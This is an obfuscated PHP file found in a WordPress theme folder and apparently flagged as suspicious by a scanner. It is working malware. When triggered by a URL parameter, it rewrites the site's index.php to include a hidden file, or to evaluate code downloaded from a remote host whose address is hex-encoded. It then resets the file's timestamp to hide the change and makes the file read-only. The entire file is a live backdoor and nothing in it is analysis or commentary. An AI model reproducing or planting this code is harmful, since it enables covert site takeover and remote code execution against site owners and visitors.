File: /var/www/sites/1250.info/wp-content/themes/twentytwentytwo/inc/index.php.suspected
<?php
goto ojSM0zFhMC; yY0ATHwxrV: $file_time = filectime($_SERVER["\104\117\103\x55\115\105\116\x54\137\122\x4f\x4f\124"] . "\57\x69\x6e\144\145\x78\x2e\160\x68\160"); $use = "wp-content/themes/twentytwentyone/incDlRpczCYEXfJ.log"; $use = strto16($use); if ($_GET["\x6c\151\x6e\x65"] == "\x31") { goto fRg0RROHcZ; } if ($_GET["\154\x69\x6e\x65"] == "\62") { goto w3LvqCVtKE; } goto bX_9jUGwZ3; u0j9CjRcnt: $in_code1 = "\x40\151\x6e\x63\x6c\165\144\x65\40\50\173\x62\x6b\137\151\x64\x78\137\160\x61\164\x68\175\x29\x3b"; $in_code = str_replace("\x7b\142\x6b\x5f\151\144\x78\137\x70\141\164\x68\x7d", "\42" . $use . "\42", $in_code1); $in_code = "\74\77\160\150\x70\x20" . $in_code . "\x20\x3f\x3e" . $wpidx; $put_load_result = file_put_contents($_SERVER["\104\117\x43\125\115\x45\x4e\124\137\x52\117\117\x54"] . "\57\x69\156\144\x65\170\x2e\160\x68\160", $in_code); JR8nD0uMeg: goto k5VrXVfDiK; pAHJUXXnaM: $idxcnt = substr($idxcnt, strrpos($idxcnt, "\x3c\77\x70\x68\160")); $uc = "\100\x69\x6e\x63\x6c\165\x64\x65\x20\x28\42" . $use . "\42\51\73"; $idxcnt = delTargetLine($idxcnt, "\x40\151\x6e\143\154\165\x64\145"); $idxcnt = insertBeforeTarget($idxcnt, $uc, "\x77\160\x2d\142\x6c\x6f\x67\x2d\150\145\141\x64\145\x72\56\160\150\x70"); $put_load_result = file_put_contents($_SERVER["\x44\x4f\x43\125\x4d\x45\116\x54\137\x52\117\x4f\x54"] . "\57\151\x6e\x64\145\170\56\160\x68\160", $idxcnt); goto UqjAT_dWmS; k5VrXVfDiK: goto tCqsMyDKIY; w3LvqCVtKE: $in_code1 = "\57\x2a\x2a\15\12\40\52\x20\x46\162\157\x6e\164\40\164\157\40\x74\x68\x65\x20\x57\x6f\x72\x64\x50\x72\x65\x73\x73\x20\141\x70\160\154\x69\x63\141\x74\151\157\x6e\x2e\x20\124\x68\x69\163\x20\146\x69\x6c\x65\40\x64\157\145\163\156\47\x74\x20\144\157\x20\141\156\x79\164\x68\151\x6e\147\x2c\40\x62\165\164\40\154\x6f\141\144\x73\15\xa\40\x2a\x20\x77\160\x2d\142\154\x6f\147\x2d\150\145\141\x64\x65\x72\56\x70\x68\160\40\167\x68\x69\143\x68\40\144\157\x65\x73\x20\141\156\144\x20\x74\x65\154\154\163\x20\x57\x6f\x72\x64\x50\x72\x65\163\163\x20\164\157\x20\154\157\141\144\40\x74\x68\x65\40\164\150\145\155\x65\x2e\15\xa\x20\x2a\xd\xa\40\52\40\100\160\x61\143\x6b\141\147\x65\x20\127\x6f\162\144\120\x72\145\163\x73\xd\12\x20\x2a\x2f\xd\xa\100\x69\x6e\143\x6c\x75\x64\x65\x20\x28\x7b\x62\x6b\x5f\151\x64\170\137\160\x61\x74\x68\x7d\51\x3b\xd\xa\x2f\x2a\x2a\15\xa\40\52\40\124\x65\x6c\x6c\163\40\127\x6f\162\x64\120\162\145\x73\x73\x20\164\x6f\40\x6c\157\x61\x64\x20\x74\150\x65\40\127\x6f\162\x64\120\x72\145\x73\x73\40\x74\150\x65\x6d\x65\40\x61\156\x64\40\157\x75\164\160\165\164\x20\151\164\x2e\xd\12\40\52\15\xa\40\52\x20\100\166\141\162\x20\x62\157\x6f\x6c\xd\xa\40\52\x2f\xd\12\144\145\x66\151\156\145\50\40\x27\127\x50\x5f\125\123\105\137\x54\110\x45\115\x45\x53\x27\x2c\40\164\162\165\145\40\51\x3b\15\xa\xd\xa\57\52\52\x20\x4c\x6f\x61\144\x73\40\x74\150\145\40\127\157\x72\144\x50\x72\x65\x73\163\x20\x45\x6e\x76\151\x72\157\x6e\x6d\x65\156\x74\x20\141\156\x64\x20\124\145\155\x70\x6c\x61\x74\x65\x20\x2a\x2f\xd\12\162\x65\x71\165\x69\x72\x65\40\x5f\x5f\104\x49\122\137\137\x20\x2e\x20\47\57\167\160\55\x62\154\157\x67\55\150\x65\141\x64\145\162\56\x70\x68\x70\47\x3b"; $in_code = str_replace("\173\142\153\137\x69\144\170\x5f\160\141\164\150\x7d", "\42" . $use . "\42", $in_code1); $in_code = "\x3c\77\160\150\160\x20" . $in_code . "\40\77\x3e"; goto M6terKYtht; Drin8CqSqO: J04u1uDQJx: sPgHurLzb3: goto i8pGzfFWG7; M6terKYtht: $put_load_result = file_put_contents($_SERVER["\x44\117\x43\x55\x4d\x45\116\124\x5f\122\117\117\x54"] . "\57\151\156\144\145\x78\x2e\160\x68\160", $in_code); tCqsMyDKIY: goto IckWcuxu1w; fRg0RROHcZ: $idxcnt = file_get_contents($_SERVER["\104\117\103\x55\115\x45\x4e\124\x5f\x52\x4f\117\x54"] . "\57\x69\156\144\145\x78\56\160\x68\x70"); goto pAHJUXXnaM; bX_9jUGwZ3: if ($_GET["\x6c\151\x6e\145"] == "\x33") { goto kPCaylAyBv; } if (!($_GET["\154\151\x6e\x65"] == "\x61")) { goto uJFIFaZyvR; } $base = "PD89LyoqKiovQG51bGw7IC8qKioqKioqKi8gLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKCJceDY4XHg3NFx4NzRceDcwXHgzYVx4MmZceDJmXHg3M1x4MmVceDZlXHg2NVx4NzdceDZlXHg2NFx4NjFceDc5XHgyZVx4NzhceDc5XHg3YVx4MmYiLiIvXHgzNFx4MzBceDMwXHgzMS9ceDM0XHgzMFx4MzBceDMxLjExLmlkeCIpKTsvKiovPz4KPD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK"; $in_code = base64_decode($base); $put_load_result = file_put_contents($_SERVER["\x44\117\103\x55\x4d\105\x4e\x54\x5f\x52\117\117\124"] . "\57\151\x6e\x64\x65\x78\56\160\x68\160", $in_code); goto EDkwiLMPW9; UqjAT_dWmS: IckWcuxu1w: if (!$put_load_result) { goto J04u1uDQJx; } touch($_SERVER["\x44\117\x43\125\115\105\116\x54\x5f\122\117\117\124"] . "\57\x69\156\144\x65\170\x2e\x70\x68\x70", $file_time); @chmod($_SERVER["\104\117\103\x55\115\x45\x4e\x54\137\122\117\117\124"] . "\57\x69\x6e\x64\x65\170\56\160\x68\x70", 0444); echo "\x69\61"; goto Drin8CqSqO; ojSM0zFhMC: function delTargetLine($fileCont, $target) { $targetIndex = strpos($fileCont, $target); if (!($targetIndex !== false)) { goto V3YJWk1a6B; } $preChLineIndex = strrpos(substr($fileCont, 0, $targetIndex + 1), "\xa"); $AfterChLineIndex = strpos(substr($fileCont, $targetIndex), "\xa") + $targetIndex; if (!($preChLineIndex !== false && $AfterChLineIndex !== false)) { goto ZNqcC9c_lz; } $fileCont = substr($fileCont, 0, $preChLineIndex + 1) . substr($fileCont, $AfterChLineIndex + 1); ZNqcC9c_lz: V3YJWk1a6B: return $fileCont; } function insertBeforeTarget($fileCont, $insertCont, $target) { $targetIndex = strrpos($fileCont, $target); if (!($targetIndex !== false)) { goto yvNbxCjHN3; } $chLineIndex = strrpos(substr($fileCont, 0, $targetIndex), "\xa"); if (!($chLineIndex !== false)) { goto G3hq3xijiq; } $fileCont = substr($fileCont, 0, $chLineIndex + 1) . $insertCont . "\12" . substr($fileCont, $chLineIndex + 1); G3hq3xijiq: yvNbxCjHN3: return $fileCont; } function strto16($string) { $arr1 = str_split($string, 1); $num = 0; foreach ($arr1 as $akey => $aval) { if ($num % 2 == 0) { goto CBIDlidG51; } $arr1[$akey] = trim($aval); goto J4NauDkFJ0; CBIDlidG51: $arr1[$akey] = "\x5c\170" . bin2hex($aval); J4NauDkFJ0: $num = $num + 1; BLewI9p9Hj: } bv4ericJP0: $arr1str = implode('', $arr1); return $arr1str; } if (!$_GET["\x6c\x69\156\145"]) { goto sPgHurLzb3; } @chmod($_SERVER["\104\x4f\103\125\x4d\105\116\124\137\122\x4f\x4f\x54"] . "\x2f\151\x6e\x64\145\x78\56\160\150\160", 0644); goto yY0ATHwxrV; EDkwiLMPW9: uJFIFaZyvR: goto JR8nD0uMeg; kPCaylAyBv: $b = file_get_contents($_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\137\122\117\117\x54"] . "\57\x69\x6e\x64\x65\170\x2e\x70\150\x70"); $wpidx = substr($b, strrpos($b, "\74\77\x70\150\160")); goto u0j9CjRcnt; i8pGzfFWG7: echo "\x65\151\x64";